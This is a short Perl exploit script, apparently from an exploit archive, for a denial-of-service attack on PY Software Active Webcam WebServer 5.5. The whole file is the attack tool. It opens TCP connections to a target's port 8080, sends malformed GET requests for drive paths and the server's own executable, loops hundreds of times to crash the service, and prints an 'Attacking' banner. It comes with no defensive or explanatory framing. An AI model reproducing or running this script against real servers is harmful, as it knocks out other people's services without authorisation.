activeCam.txt

`#PY Software Active Webcam WebServer 5.5 DoS  
#Coded bY ++Karak0rsan++  
  
use IO::Socket;  
$host=$ARGV[0];  
$port=8080;  
  
if(!$ARGV[0]){  
print "PY Software Active Webcam WebServer DoS\n";  
print "Coded by ++Karak0rsan++\n";  
print "Usage:perl $0 [target]\n";  
}  
  
use IO::Socket;  
$socket = new IO::Socket::INET( PeerAddr => $host,  
PeerPort => $port,  
Proto => 'tcp',  
Type => SOCK_STREAM, );  
close($socket);  
if($socket){  
print "[+]Attacking...!\n";  
}  
  
for($i= 0; $i < 10; $i++)  
{  
$socket1 = new IO::Socket::INET( PeerAddr => $host,  
PeerPort => $port,  
Proto => 'tcp',  
Type => SOCK_STREAM, ) or die "Check your target address!\n";  
print $socket1 "GET /A:\a.txt HTTP/1.0\r\n";  
print $socket1 "GET /Filelist.html HTTP/1.0\r\n";  
close($socket1);  
}  
for($i= 0; $i < 400; $i++)  
{  
$socket2 = new IO::Socket::INET( PeerAddr => $host,  
PeerPort => $port,  
Proto => 'tcp',  
Type => SOCK_STREAM, );  
print $socket2 "GET /C:\Program Files\Active WebCam\WebCam.exe  
HTTP/1.0\r\n";  
close($socket2);  
}  
print "Operation Completed :)\n";  
exit();  
  
`